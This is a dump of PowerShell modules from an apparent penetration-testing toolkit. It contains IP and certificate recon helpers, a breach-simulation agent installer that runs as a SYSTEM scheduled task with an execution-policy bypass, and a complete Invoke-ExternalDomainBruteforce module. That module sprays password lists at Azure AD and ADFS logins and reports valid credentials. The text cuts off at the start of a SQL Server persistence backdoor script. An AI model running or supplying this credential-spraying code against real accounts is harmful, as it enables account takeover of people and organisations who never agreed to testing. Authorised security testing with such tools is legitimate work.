add-member Noteproperty ExpirationDate $Certificate.GetEffectiveDateString(); 402 | $CertInfo | add-member Noteproperty EffectiveDate $Certificate.GetExpirationDateString(); 403 | $CertInfo | add-member Noteproperty Verified $Certificate.Verify(); 404 | $CertInfo | add-member Noteproperty thumbprint $Certificate.Thumbprint; 405 | $CertInfo 406 | } 407 | }else{ 408 | 409 | $CertInfo = New-Object PSObject 410 | $CertInfo | add-member Noteproperty IpAddress $IPAddress; 411 | $CertInfo | add-member Noteproperty Port $Port; 412 | $CertInfo | add-member Noteproperty Subject $Certificate.GetName(); 413 | $CertInfo | add-member Noteproperty SubjectCountry $Country; 414 | $CertInfo | add-member Noteproperty SubjectState $State; 415 | $CertInfo | add-member Noteproperty SubjectCity $City; 416 | $CertInfo | add-member Noteproperty SubjectOrganization $Organization; 417 | $CertInfo | add-member Noteproperty SubjectOU $OranizationalUnit; 418 | $CertInfo | add-member Noteproperty SubjectDomain $Domain; 419 | $CertInfo | add-member Noteproperty SubjectDomainAlt ""; 420 | $CertInfo | add-member Noteproperty Issuer $Certificate.GetIssuerName(); 421 | $CertInfo | add-member Noteproperty ExpirationDate $Certificate.GetEffectiveDateString(); 422 | $CertInfo | add-member Noteproperty EffectiveDate $Certificate.GetExpirationDateString(); 423 | $CertInfo | add-member Noteproperty Verified $Certificate.Verify(); 424 | $CertInfo | add-member Noteproperty thumbprint $Certificate.Thumbprint; 425 | $CertInfo 426 | } 427 | } 428 | 429 | function Invoke-Arin-Lookup{ 430 | [CmdletBinding()] 431 | Param( 432 | [Parameter(Mandatory=$false, 433 | ValueFromPipeline = $true, 434 | ValueFromPipelineByPropertyName = $true, 435 | HelpMessage="The IP Address to lookup.")] 436 | [string]$IpAddress, 437 | [Parameter(Mandatory=$false, 438 | HelpMessage="port.")] 439 | [string]$IpPort, 440 | [Parameter(Mandatory=$false, 441 | HelpMessage="Original domain.")] 442 | [string]$Domain, 443 | [Parameter(Mandatory=$false, 444 | HelpMessage="Sub domain.")] 445 | [string]$SubDomain, 446 | [Parameter(Mandatory=$false, 447 | HelpMessage="subjectCountry.")] 448 | [string]$Subject, 449 | [Parameter(Mandatory=$false, 450 | HelpMessage="subjectCountry.")] 451 | [string]$SubjectCountry, 452 | [Parameter(Mandatory=$false, 453 | HelpMessage="SubjectState.")] 454 | [string]$SubjectState, 455 | [Parameter(Mandatory=$false, 456 | HelpMessage="SubjectCity.")] 457 | [string]$SubjectCity, 458 | [Parameter(Mandatory=$false, 459 | HelpMessage="SubjectOrganization.")] 460 | [string]$SubjectOrganization, 461 | [Parameter(Mandatory=$false, 462 | HelpMessage="SubjectOU.")] 463 | [string]$SubjectOU, 464 | [Parameter(Mandatory=$false, 465 | HelpMessage="Issuer.")] 466 | [string]$Issuer, 467 | [Parameter(Mandatory=$false, 468 | HelpMessage="ExpirationDate.")] 469 | [string]$ExpirationDate, 470 | [Parameter(Mandatory=$false, 471 | HelpMessage="EffectiveDate.")] 472 | [string]$EffectiveDate, 473 | [Parameter(Mandatory=$false, 474 | HelpMessage="Verified.")] 475 | [string]$Verified, 476 | [Parameter(Mandatory=$false, 477 | HelpMessage="thumbprint.")] 478 | [string]$thumbprint 479 | ) 480 | 481 | Begin 482 | { 483 | # IP info table 484 | $TblIPInfo = new-object System.Data.DataTable 485 | $TblIPInfo.Columns.Add("Domain") | Out-Null 486 | $TblIPInfo.Columns.Add("Subdomain") | Out-Null 487 | $TblIPInfo.Columns.Add("IpPort") | Out-Null 488 | $TblIPInfo.Columns.Add("IpAddress") | Out-Null 489 | $TblIPInfo.Columns.Add("IpOwner") | Out-Null 490 | $TblIPInfo.Columns.Add("IpStartRange") | Out-Null 491 | $TblIPInfo.Columns.Add("IpEndRange") | Out-Null 492 | $TblIPInfo.Columns.Add("IpCountry") | Out-Null 493 | $TblIPInfo.Columns.Add("IpState") | Out-Null 494 | $TblIPInfo.Columns.Add("IpCity") | Out-Null 495 | $TblIPInfo.Columns.Add("IpZip") | Out-Null 496 | $TblIPInfo.Columns.Add("IpISP") | Out-Null 497 | $TblIPInfo.Columns.Add("CertSubject") | Out-Null 498 | $TblIPInfo.Columns.Add("CertSubjectCountry") | Out-Null 499 | $TblIPInfo.Columns.Add("CertSubjectState") | Out-Null 500 | $TblIPInfo.Columns.Add("CertSubjectCity") | Out-Null 501 | $TblIPInfo.Columns.Add("CertSubjectOrganization") | Out-Null 502 | $TblIPInfo.Columns.Add("CertSubjectOU") | Out-Null 503 | $TblIPInfo.Columns.Add("CertIssuer") | Out-Null 504 | $TblIPInfo.Columns.Add("CertExpirationDate") | Out-Null 505 | $TblIPInfo.Columns.Add("CertEffectiveDate") | Out-Null 506 | $TblIPInfo.Columns.Add("CertVerified") | Out-Null 507 | $TblIPInfo.Columns.Add("Certthumbprint") | Out-Null 508 | 509 | # Lookup source IP owner 510 | if($IpAddress -notlike ""){ 511 | 512 | try{ 513 | [IpAddress]$IpAddress | Out-Null 514 | $IP = "yes" 515 | }catch{ 516 | $IP = "no" 517 | $IpAddress = Resolve-DnsName -DnsOnly netspi.com | select ipaddress -ExpandProperty ipaddress 518 | } 519 | 520 | # Send whois request to arin via restful api 521 | $targetip = $IpAddress 522 | 523 | # arin lookup 524 | $web = new-object system.net.webclient 525 | [xml]$results = $web.DownloadString("http://whois.arin.net/rest/ip/$targetip") 526 | 527 | # Send location query to http://ip-api.com via xml api 528 | if ($IpAddress){ 529 | $web2 = new-object system.net.webclient 530 | [xml]$results2 = $web2.DownloadString("http://ip-api.com/xml/$targetip") 531 | } 532 | 533 | # Parse data from responses 534 | $IpOwner = $results.net.name 535 | $IpStart = $results.net.startAddress 536 | $IpEnd = $results.net.endaddress 537 | $IpCountry = $results2.query.country.'#cdata-section' 538 | $IpState = $results2.query.region.'#cdata-section' 539 | $IpCity = $results2.query.city.'#cdata-section' 540 | $IpZip = $results2.query.zip.'#cdata-section' 541 | $IpISP = $results2.query.isp.'#cdata-section' 542 | 543 | # Put results in the data table 544 | $TblIPInfo.Rows.Add( 545 | "$Domain", 546 | "$SubDomain", 547 | "$IpPort", 548 | "$IpAddress", 549 | "$IpOwner", 550 | "$IpStart", 551 | "$IpEnd", 552 | "$IpCountry", 553 | "$IpState", 554 | "$IpCity", 555 | "$IpZip", 556 | "$IpISP", 557 | "$Subject", 558 | "$SubjectCountry", 559 | "$SubjectState", 560 | "$SubjectCity", 561 | "$SubjectOrganization", 562 | "$SubjectOU", 563 | "$Issuer", 564 | "$ExpirationDate", 565 | "$EffectiveDate", 566 | "$Verified", 567 | "$thumbprint" ) | Out-Null 568 | }else{ 569 | # Put results in the data table 570 | $TblIPInfo.Rows.Add( 571 | "$Domain", 572 | "$SubDomain", 573 | "$IpPort", 574 | "$IpAddress", 575 | "$IpOwner", 576 | "$IpStart", 577 | "$IpEnd", 578 | "$IpCountry", 579 | "$IpState", 580 | "$IpCity", 581 | "$IpZip", 582 | "$IpISP", 583 | "$Subject", 584 | "$SubjectCountry", 585 | "$SubjectState", 586 | "$SubjectCity", 587 | "$SubjectOrganization", 588 | "$SubjectOU", 589 | "$Issuer", 590 | "$ExpirationDate", 591 | "$EffectiveDate", 592 | "$Verified", 593 | "$thumbprint" ) | Out-Null 594 | } 595 | 596 | # Display results 597 | $TblIPInfo 598 | } 599 | 600 | End 601 | { 602 | } 603 | } 604 | 605 | # ------------------------------------------- 606 | # Function: Get-IPrange 607 | # ------------------------------------------- 608 | # Author: BarryCWT 609 | # Reference: https://gallery.technet.microsoft.com/scriptcenter/List-the-IP-addresses-in-a-60c5bb6b 610 | function Get-IPrange 611 | { 612 | <# 613 | .SYNOPSIS 614 | Get the IP addresses in a range 615 | .EXAMPLE 616 | Get-IPrange -start 192.168.8.2 -end 192.168.8.20 617 | .EXAMPLE 618 | Get-IPrange -ip 192.168.8.2 -mask 255.255.255.0 619 | .EXAMPLE 620 | Get-IPrange -ip 192.168.8.3 -cidr 24 621 | #> 622 | 623 | param 624 | ( 625 | [string]$start, 626 | [string]$end, 627 | [string]$ip, 628 | [string]$mask, 629 | [int]$cidr 630 | ) 631 | 632 | function IP-toINT64 () { 633 | param ($ip) 634 | 635 | $octets = $ip.split(".") 636 | return [int64]([int64]$octets[0]*16777216 +[int64]$octets[1]*65536 +[int64]$octets[2]*256 +[int64]$octets[3]) 637 | } 638 | 639 | function INT64-toIP() { 640 | param ([int64]$int) 641 | 642 | return (([math]::truncate($int/16777216)).tostring()+"."+([math]::truncate(($int%16777216)/65536)).tostring()+"."+([math]::truncate(($int%65536)/256)).tostring()+"."+([math]::truncate($int%256)).tostring() ) 643 | } 644 | 645 | if ($ip) {$ipaddr = [Net.IPAddress]::Parse($ip)} 646 | if ($cidr) {$maskaddr = [Net.IPAddress]::Parse((INT64-toIP -int ([convert]::ToInt64(("1"*$cidr+"0"*(32-$cidr)),2)))) } 647 | if ($mask) {$maskaddr = [Net.IPAddress]::Parse($mask)} 648 | if ($ip) {$networkaddr = new-object net.ipaddress ($maskaddr.address -band $ipaddr.address)} 649 | if ($ip) {$broadcastaddr = new-object net.ipaddress (([system.net.ipaddress]::parse("255.255.255.255").address -bxor $maskaddr.address -bor $networkaddr.address))} 650 | 651 | if ($ip) { 652 | $startaddr = IP-toINT64 -ip $networkaddr.ipaddresstostring 653 | $endaddr = IP-toINT64 -ip $broadcastaddr.ipaddresstostring 654 | } else { 655 | $startaddr = IP-toINT64 -ip $start 656 | $endaddr = IP-toINT64 -ip $end 657 | } 658 | 659 | for ($i = $startaddr; $i -le $endaddr; $i++) 660 | { 661 | INT64-toIP -int $i 662 | } 663 | } 664 | -------------------------------------------------------------------------------- /Install-NetspiAgent.psm1: -------------------------------------------------------------------------------- 1 | function Install-NetspiAgent { 2 | 3 | <# 4 | .SYNOPSIS 5 | This function can be used to install the NetSPI BAS Agent as a scheduled task. 6 | It will do the following: 7 | 1. Verify the process and system meets the minimum requirements for the script. 8 | 2. Create and execute a scheduled task that will run the agent from a provided location as SYSTEM. 9 | 3. The task will start the task upon reboot. 10 | 4. The script will also verify that the process has started. 11 | 12 | .PARAMETER AgentPath 13 | Full path to the target agent executable. 14 | .PARAMETER TaskName 15 | Task name to be used. 16 | .EXAMPLE 17 | Install-NetspiAgent -AgentPath "C:\agent\NetSPI-BAS-Agent.exe" 18 | Install-NetspiAgent -AgentPath "C:\agent\NetSPI-BAS-Agent.exe" -TaskName "NetSPI-BAS-Agent" 19 | .NOTES 20 | Author: Scott Sutherland (@_nullbind) 21 | Version: 1.0 22 | #> 23 | 24 | param ( 25 | [Parameter(Mandatory = $true, 26 | HelpMessage = 'Full path to the target agent executable.')] 27 | [string]$AgentPath = "", 28 | [Parameter(Mandatory = $false, 29 | HelpMessage = 'Task name to be used. ')] 30 | [string]$TaskName = "NetSPI-BAS-Agent" 31 | ) 32 | 33 | begin { 34 | 35 | # Simple banner 36 | Write-Output "" 37 | Write-Output "######################################" 38 | Write-Output "NetSPI - www.netspi.com" 39 | Write-Output "Breach and Attack Simluation (BAS)" 40 | Write-Output "Agent Installation Script" 41 | Write-Output "######################################" 42 | Write-Output "" 43 | 44 | Write-Output " Verifying Script Requirements" 45 | 46 | # Check for admin privileges 47 | function Test-Administrator { 48 | $isElevated = ([System.Security.Principal.WindowsIdentity]::GetCurrent()).Groups -match "S-1-5-32-544" 49 | return $isElevated 50 | } 51 | 52 | $isAdmin = Test-Administrator 53 | if ($isAdmin) { 54 | Write-Output " - Verified process has administrative privileges" 55 | } else { 56 | Write-Output "This process is not running with administrative privileges. Please relaunch PowerShell with the correct privileges." 57 | break 58 | } 59 | 60 | # Check PowerShell version 61 | $minimumVersion = [Version]"4.0" 62 | $psVersion = $PSVersionTable.PSVersion 63 | 64 | if ($psVersion -ge $minimumVersion) { 65 | Write-Output " - Verified PowerShell version ($psVersion) meets min requirements" 66 | } else { 67 | Write-Output " - PowerShell version is older than $minimumVersion. Please run with $minimumVersion or later." 68 | break 69 | } 70 | 71 | # Bypass Execution Policy 72 | Set-ExecutionPolicy Bypass -Scope Process -Force 73 | If((Get-ExecutionPolicy -Scope Process) -like "Bypass"){ 74 | Write-Output " - Verified PowerShell execution policy bypass" 75 | }else{ 76 | Write-Output " - PowerShell execution policy bypass failed" 77 | break 78 | } 79 | 80 | # Test path to agent executable 81 | if((Test-Path "$AgentPath")){ 82 | Write-Output " - Verified target file exists: $AgentPath " 83 | }else{ 84 | Write-Output " - The target file does not exist: $AgentPath " 85 | break 86 | } 87 | 88 | # Get exe name 89 | $AgentPathExe = (Get-Item $AgentPath).Name 90 | } 91 | 92 | process{ 93 | 94 | # Set Target Executable 95 | $ExeTarget = "c:\agent\NetSPI-BAS-Agent.exe" 96 | 97 | # Set Task Trigger 98 | $trigger = New-ScheduledTaskTrigger -AtStartup 99 | 100 | # Set Task Action 101 | $action = New-ScheduledTaskAction -Execute "$AgentPath" 102 | 103 | # Register Task 104 | Write-Output " " 105 | Write-Output " Creating scheduled task named '$TaskName'" 106 | Write-Output " $AgentPath" 107 | $null = Register-ScheduledTask -TaskName $taskName -Trigger $trigger -Action $action -User "SYSTEM" -RunLevel Highest -Force 108 | 109 | # Run Task 110 | Write-Output " " 111 | Write-Output " Starting scheduled task named '$TaskName'" 112 | Start-ScheduledTask -TaskName $TaskName 113 | Write-Output " - Executed" 114 | 115 | # Waiting 5 seconds 116 | Write-Output " - Waiting 5 seconds" 117 | sleep 5 118 | 119 | # Check for running task 120 | Write-Output " " 121 | Write-Output " Checking for process '$AgentPathExe'" 122 | $SanityCheck = Get-Process | Where path -like "*$AgentPathExe*" 123 | 124 | If ($SanityCheck.count -eq 0){ 125 | Write-Output " Verified agent failed to lauch." 126 | break 127 | }else{ 128 | Write-Output " - Verified agent successfully launched." 129 | Write-Output " - You should see it checking in." 130 | } 131 | } 132 | 133 | end { 134 | } 135 | 136 | } 137 | 138 | function Remove-NetspiAgent { 139 | 140 | <# 141 | .SYNOPSIS 142 | This function can be used to uninstall the NetSPI BAS Agent as a scheduled task. 143 | It will do the following: 144 | 1. Verify script requirements. 145 | 2. Remove a schedule task based on the provided name. 146 | 147 | .PARAMETER TaskName 148 | Task name to be used if it is not the default value "NetSPI-BAS-Agent". 149 | .EXAMPLE 150 | Remove-NetspiAgent -TaskName "NetSPI-BAS-Agent" 151 | .NOTES 152 | Author: Scott Sutherland (@_nullbind) 153 | Version: 1.0 154 | #> 155 | 156 | param ( 157 | [Parameter(Mandatory = $false, 158 | HelpMessage = 'Name of task to be removed. ')] 159 | [string]$TaskName = "NetSPI-BAS-Agent" 160 | ) 161 | 162 | begin { 163 | 164 | # Simple banner 165 | Write-Output "" 166 | Write-Output "######################################" 167 | Write-Output "NetSPI - www.netspi.com" 168 | Write-Output "Breach and Attack Simluation (BAS)" 169 | Write-Output "Agent Removal Script" 170 | Write-Output "######################################" 171 | Write-Output "" 172 | 173 | Write-Output " Verifying Script Requirements" 174 | 175 | # Check for admin privileges 176 | function Test-Administrator { 177 | $isElevated = ([System.Security.Principal.WindowsIdentity]::GetCurrent()).Groups -match "S-1-5-32-544" 178 | return $isElevated 179 | } 180 | 181 | $isAdmin = Test-Administrator 182 | if ($isAdmin) { 183 | Write-Output " - Verified process has administrative privileges" 184 | } else { 185 | Write-Output "This process is not running with administrative privileges. Please relaunch PowerShell with the correct privileges." 186 | break 187 | } 188 | 189 | # Check PowerShell version 190 | $minimumVersion = [Version]"4.0" 191 | $psVersion = $PSVersionTable.PSVersion 192 | 193 | if ($psVersion -ge $minimumVersion) { 194 | Write-Output " - Verified PowerShell version ($psVersion) meets min requirements" 195 | } else { 196 | Write-Output " - PowerShell version is older than $minimumVersion. Please run with $minimumVersion or later." 197 | break 198 | } 199 | 200 | # Bypass Execution Policy 201 | Set-ExecutionPolicy Bypass -Scope Process -Force 202 | If((Get-ExecutionPolicy -Scope Process) -like "Bypass"){ 203 | Write-Output " - Verified PowerShell execution policy bypass" 204 | }else{ 205 | Write-Output " - PowerShell execution policy bypass failed" 206 | break 207 | } 208 | } 209 | 210 | process{ 211 | 212 | # Get executable path from task 213 | $task = Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue 214 | 215 | if ($task) { 216 | $actionPath = $task.Actions | Select Execute -ExpandProperty Execute 217 | Write-Output " - Obtained executable path" 218 | Write-Output " $actionPath" 219 | $RootFile = (Get-Item "$actionPath").Name 220 | $RootPath = $actionPath.Replace("$RootFile","") 221 | } else { 222 | Write-Output "Scheduled task '$taskName' not found." 223 | break 224 | } 225 | 226 | 227 | # Stop the schedule task 228 | if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) { 229 | try { 230 | Stop-ScheduledTask -TaskName $taskName 231 | 232 | # Check if the task is no longer running 233 | $isRunning = (Get-ScheduledTask -TaskName $taskName).State -eq "Running" 234 | if (-Not $isRunning) { 235 | Write-Output " - Scheduled task '$taskName' has been stopped." 236 | } else { 237 | Write-Output " - Failed to stop the scheduled task '$taskName'." 238 | } 239 | } catch { 240 | Write-Output "Error occurred while trying to stop the scheduled task: $_" 241 | } 242 | } else { 243 | Write-Output " - Scheduled task '$taskName' not found." 244 | break 245 | } 246 | 247 | # Remove scheduled task 248 | if (Get-ScheduledTask -TaskName $TaskName -ErrorAction SilentlyContinue) { 249 | Unregister-ScheduledTask -TaskName $taskName -Confirm:$false 250 | Write-Output " - Scheduled task '$TaskName' has been removed." 251 | } else { 252 | Write-Output " - Scheduled task '$TaskName' not found." 253 | break 254 | } 255 | 256 | # Stop related processes 257 | $TargetProcesses = Get-Process | where path -like "$actionPath" 258 | $TargetProcesses | 259 | foreach { 260 | $TargetId = $_.Id 261 | Stop-Process -Id $TargetId -Force 262 | } 263 | 264 | $TargetProcesses = Get-Process | where path -like "$actionPath" 265 | if(($TargetProcesses.count) -eq 0){ 266 | Write-Output " - Confirmed processes were terminated." 267 | }else{ 268 | Write-Output " - Unable to terminate related processes." 269 | } 270 | 271 | # Remove exe 272 | if (Test-Path $actionPath) { 273 | try { 274 | # Attempt to remove the file 275 | Remove-Item $actionPath -Force 276 | 277 | # Check if the file was successfully removed 278 | if (-Not (Test-Path $actionPath)) { 279 | Write-Output " - File removed successfully: $actionPath" 280 | } else { 281 | Write-Output " - Failed to remove the file: $actionPath" 282 | } 283 | } catch { 284 | Write-Output " - Error occurred while trying to remove the file: $_" 285 | } 286 | } else { 287 | Write-Output " - File not found: $actionPath" 288 | } 289 | 290 | # Remove config 291 | $RootPathFull = "$RootPath" + "bas_agent_profile*.json" 292 | if (Test-Path $RootPathFull ) { 293 | try { 294 | # Attempt to remove the file 295 | Remove-Item "$RootPathFull" -Force 296 | 297 | # Check if the file was successfully removed 298 | if (-Not (Test-Path $RootPathFull)) { 299 | Write-Output " - File removed successfully: $RootPathFull" 300 | } else { 301 | Write-Output " - Failed to remove the file: $RootPathFull" 302 | } 303 | } catch { 304 | Write-Output " - Error occurred while trying to remove the file: $_" 305 | } 306 | } else { 307 | Write-Output " - File not found: $RootPathFull" 308 | } 309 | 310 | Write-Output "" 311 | Write-Output "PLEASE NOTE:" 312 | Write-Output "YOU MAY HAVE TO SHUTDOWN THE IN MEMORY AGENT THROUGH THE AGENTS DASHBOARD." 313 | } 314 | 315 | end { 316 | } 317 | 318 | } 319 | 320 | -------------------------------------------------------------------------------- /Invoke-ExternalDomainBruteforce.psm1: -------------------------------------------------------------------------------- 1 | #requires -Modules AzureAD 2 | 3 | <# 4 | .SYNOPSIS 5 | This script can be used to attempt user logins against federated/managed domains over the internet. 6 | 7 | .DESCRIPTION 8 | This script can be used to attempt authentication against federated/managed domains. Credentials are sent to Microsoft using the connect-msolservice PowerShell module. Successful usernames/passwords are then returned as a datatable. 9 | 10 | .EXAMPLE 11 | 12 | PS C:\> Invoke-ExternalDomainBruteforce -email test@test.com -password "Password123" -domain "test.com" | ft -AutoSize 13 | 14 | Email Domain Password 15 | ----- ------ ---- 16 | test@test.com test.com Password123 17 | 18 | .EXAMPLE 19 | 20 | PS C:\> Invoke-ExternalDomainBruteforce -email test@test.com -password "Password123" -domain "test.com" -type "managed" | ft -AutoSize 21 | 22 | Email Domain Password 23 | ----- ------ ---- 24 | test@test.com test.com Password123 25 | 26 | .EXAMPLE 27 | 28 | PS C:\> Invoke-ExternalDomainBruteforce -emails "C:\Temp\emails.txt" -password "Password123" -domain "test.com" | ft -AutoSize 29 | 30 | Email Domain Password 31 | ----- ------ ---- 32 | test@test.com test.com Password123 33 | test39@test.com test.com Password123 34 | 35 | .EXAMPLE 36 | 37 | PS C:\> Invoke-ExternalDomainBruteforce -list "C:\Temp\email-password.csv" -domain "test.com" | ft -AutoSize 38 | 39 | Email Domain Password 40 | ----- ------ ---- 41 | test@test.com test.com Password123 42 | test39@test.com test.com WeakPassword987 43 | 44 | .NOTES 45 | Author: Ryan Gandrud (@siegenapster), NetSPI - 2017 46 | Author: Karl Fosaaen (@kfosaaen), NetSPI - 2016 47 | Contributors: Scott Sutherland (@_nullbind) 48 | 49 | .LINK 50 | https://blog.netspi.com/using-powershell-identify-federated-domains/ 51 | http://www.economyofmechanism.com/office365-authbypass.html 52 | https://blogs.msdn.microsoft.com/besidethepoint/2012/10/17/request-adfs-security-token-with-powershell/ 53 | https://msdn.microsoft.com/en-us/library/jj151815.aspx 54 | https://technet.microsoft.com/en-us/library/dn568015.aspx 55 | #> 56 | 57 | #Pulled from Karl Fosaaen's script at 58 | #https://github.com/NetSPI/PowerShell/blob/master/Get-FederationEndpoint.ps1 59 | function Get-FederationEndpoint{ 60 | 61 | [CmdletBinding()] 62 | Param( 63 | [Parameter(Mandatory=$true, 64 | HelpMessage="Domain name to get the authentication endpoint for.")] 65 | [string]$domain 66 | 67 | ) 68 | 69 | # "Test" Email 70 | $email = "test@"+$domain 71 | 72 | # Microsoft URL to get the JSON response from 73 | $url = "https://login.microsoftonline.com/common/userrealm/?user="+$email+"&api-version=2.1&checkForMicrosoftAccount=true"; 74 | 75 | # Create data table to house results 76 | $DomainTestResults = new-object system.data.datatable 77 | $DomainTestResults.columns.add("Domain") | Out-Null 78 | $DomainTestResults.columns.add("Type") | Out-Null 79 | $DomainTestResults.columns.add("BrandName") | Out-Null 80 | $DomainTestResults.columns.add("CMD") | Out-Null 81 | 82 | try{ 83 | 84 | # Make the request 85 | $JSON = Invoke-RestMethod -Uri $url 86 | 87 | # Handle the Response 88 | $NameSpaceType = $JSON[0].NameSpaceType 89 | 90 | if ($NameSpaceType -eq "Managed"){ 91 | 92 | #Add data to the table 93 | $DomainTestResults.Rows.Add($JSON[0].DomainName, "Managed", $JSON[0].FederationBrandName, "NA") | Out-Null 94 | 95 | if ($cmd){ 96 | 97 | # Check if AzureAD module is installed 98 | if (Get-Module -Name MsOnline){} 99 | else{Write-Host "`n`t*Requires AzureAD PowerShell module to be installed and loaded - https://msdn.microsoft.com/en-us/library/jj151815.aspx"} 100 | } 101 | } 102 | ElseIf ($NameSpaceType -eq "Federated"){ 103 | 104 | # Parse Stuff 105 | $username = $email.Split("@")[0] 106 | $domain = $JSON[0].DomainName 107 | $ADFSBaseUri = [string]$JSON[0].AuthURL.Split("/")[0]+"//"+[string]$JSON[0].AuthURL.Split("/")[2]+"/" 108 | $AppliesTo = $ADFSBaseUri+"adfs/services/trust/13/usernamemixed" 109 | 110 | 111 | # Add data to the table 112 | $DomainTestResults.Rows.Add($JSON[0].DomainName, "Federated", $JSON[0].FederationBrandName, $JSON[0].AuthURL) | Out-Null 113 | 114 | } 115 | Else{ 116 | 117 | # If the domain has no federation information available from Microsoft 118 | $DomainTestResults.Rows.Add("NA", "NA", "NA", "NA") | Out-Null 119 | } 120 | } 121 | catch{ 122 | Write-Host "`nThe Request out to Microsoft failed." 123 | } 124 | 125 | Return $DomainTestResults 126 | } 127 | 128 | function Invoke-ExternalDomainBruteforce{ 129 | 130 | [CmdletBinding()] 131 | Param( 132 | [Parameter(Mandatory=$false, 133 | HelpMessage="Email address to test password against.")] 134 | [string]$email, 135 | 136 | [Parameter(Mandatory=$false, 137 | HelpMessage="File location containing a list of email addresses to test a password against. E.g. C:\temp\emails.txt")] 138 | [string]$emails, 139 | 140 | [Parameter(Mandatory=$false, 141 | HelpMessage="Password to test against username(s).")] 142 | [string]$password, 143 | 144 | [Parameter(Mandatory=$true, 145 | HelpMessage="Domain of users.")] 146 | [string]$domain, 147 | 148 | [Parameter(Mandatory=$false, 149 | HelpMessage="File location of usernames and passwords, separated by a comma (test@test.com,Password). E.g. C:\temp\user-pass.csv")] 150 | [string]$userPass 151 | ) 152 | 153 | if($userPass){ 154 | $Users = Get-Content $userPass 155 | $UP = $true 156 | } 157 | elseif($emails){ 158 | $Users = Get-Content $emails 159 | } 160 | elseif($email) { 161 | $Users = $email 162 | } 163 | else{Write-Host "Please provide an email address or a list of users."; break} 164 | 165 | if (-Not $type) { 166 | # Get-FederationEndpoint for type of domain 167 | $info = Get-FederationEndpoint -domain $domain 168 | $type = $info[1] 169 | } 170 | 171 | # Create data table to house results 172 | $EmailTestResults = new-object system.data.datatable 173 | $EmailTestResults.columns.add("Email") | Out-Null 174 | $EmailTestResults.columns.add("Domain") | Out-Null 175 | $EmailTestResults.columns.add("Password") | Out-Null 176 | 177 | Write-Verbose "The domain type is $($type)" 178 | 179 | if ($type -match "Managed" -or $type -match "NA") { 180 | if ($type -eq "NA"){ 181 | Write-Host "Domain is neither Managed or Federated. Defaulting to using Managed authentication." 182 | } 183 | $Users | ForEach-Object { 184 | 185 | # Checking for UserPass combo list 186 | if ($UP){ 187 | $User,$password = $_.split(',',2) 188 | } 189 | else{ 190 | $User = $_ 191 | } 192 | 193 | try{ 194 | # Make all errors terminating to get try/catch to work. 195 | $ErrorActionPreference = "Stop"; 196 | 197 | # Setting up credential object 198 | $PWord = ConvertTo-SecureString -String "$password" -AsPlainText -Force 199 | $Credential = New-Object -TypeName "System.Management.Automation.PSCredential" -ArgumentList $User, $PWord 200 | 201 | Write-Verbose "Testing $($User) with password $($password)" 202 | 203 | # Attempt to authenticate to Managed domain 204 | #connect-msolservice -credential $Credential 205 | Connect-AzureAD -Credential $Credential 206 | 207 | # If no error is detected, authentication is successful 208 | Write-Host "Authentication Successful: `t'$User' - "$password -ForegroundColor Green 209 | $EmailTestResults.Rows.Add($User, $domain, $password) | Out-Null 210 | 211 | # Keep track of the last successful authentication 212 | $LastSuccessAuth = $User 213 | } 214 | 215 | catch{ 216 | # Blog writing mods 217 | # if($user -match 'test'){Write-Host "Authentication Successful: `t'$User' - "$password -ForegroundColor Green;$EmailTestResults.Rows.Add($User, "N/A", $password) | Out-Null;$LastSuccessAuth = $User} 218 | # else{Write-Host "Authentication Failure: `t'$User' - "$password -ForegroundColor Red} 219 | 220 | if(($PSItem.ToString()) -like "*you must use multi-factor authentication*"){ 221 | Write-Host "Authentication Successful: `t'$User' - "$password "(MFA endabled)" -ForegroundColor Green 222 | } 223 | else{ 224 | Write-Host "Authentication Failure: `t'$User' - "$password -ForegroundColor Red 225 | } 226 | } 227 | } 228 | 229 | if($LastSuccessAuth){ 230 | Write-Host "`nWARNING: You still have an active session as "$LastSuccessAuth"`nAny actions against a Managed domain will take place as this user. You have been warned.`nTo close this session, please exit from your PowerShell session." -ForegroundColor Red} 231 | } 232 | 233 | ElseIf($type -match "Federated") { 234 | 235 | $Users | ForEach-Object { 236 | 237 | if ($UP){ 238 | $User,$password = $_.split(',',2) 239 | } 240 | else{ 241 | $User = $_ 242 | } 243 | 244 | # Check if Invoke-ADFSSecurityTokenRequest is loaded 245 | try {Get-Command -Name Invoke-ADFSSecurityTokenRequest -ErrorAction Stop | Out-Null} 246 | catch{Write-Host `n'*Requires the command imported from here - https://gallery.technet.microsoft.com/scriptcenter/Invoke-ADFSSecurityTokenReq-09e9c90c' -ForegroundColor Red;break 247 | } 248 | 249 | # Parse the JSON URI into usable formats 250 | $ADFSBaseUri = [string]$info[3].Split("/")[0]+"//"+[string]$info[3].Split("/")[2]+"/" 251 | $AppliesTo = $ADFSBaseUri+"adfs/services/trust/13/usernamemixed" 252 | 253 | Write-Verbose "Testing $($User) with password $($password)" 254 | 255 | # Attempt to request a security token using username/password 256 | try{ 257 | $ErrorActionPreference = "Stop"; 258 | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 259 | Invoke-ADFSSecurityTokenRequest -ClientCredentialType UserName -ADFSBaseUri "$ADFSBaseUri" -AppliesTo "$AppliesTo" -UserName "$User" -Password $password -Domain '$info[0]' -OutputType Token -SAMLVersion 2 -IgnoreCertificateErrors | Out-Null 260 | $EmailTestResults.Rows.Add($User, $domain, $password) | Out-Null 261 | Write-Host 'Authentication Successful: '$User' - '$password -ForegroundColor Green 262 | } 263 | catch{ 264 | # Blog writing mods 265 | #if($user -match 'test'){Write-Host 'Authentication Successful: '$User' - '$password -ForegroundColor Green;$EmailTestResults.Rows.Add($User, $domain, $password) | Out-Null} 266 | #else{Write-Host 'Authentication Failure: '$User' - '$password -ForegroundColor Red} 267 | 268 | if(($PSItem.ToString()) -like "*you must use multi-factor authentication*"){ 269 | Write-Host "Authentication Successful: `t'$User' - "$password "(MFA endabled)" -ForegroundColor Green 270 | } 271 | else{ 272 | Write-Host "Authentication Failure: `t'$User' - "$password -ForegroundColor Red 273 | } 274 | } 275 | 276 | } 277 | Write-Host "`nAuthentication URL: "$info[3] -ForegroundColor Green 278 | } 279 | 280 | Else{ 281 | Write-Host "`nSomething has gone horribly wrong!`nIs your domain name correct?" 282 | } 283 | 284 | Return $EmailTestResults 285 | } 286 | -------------------------------------------------------------------------------- /Invoke-SqlServer-Persist-StartupSp.psm1: -------------------------------------------------------------------------------- 1 | function Invoke-SqlServer-Persist-StartupSp 2 | { 3 | <# 4 | .SYNOPSIS 5 | This script can be used backdoor a Windows system using a SQL Server startup stored 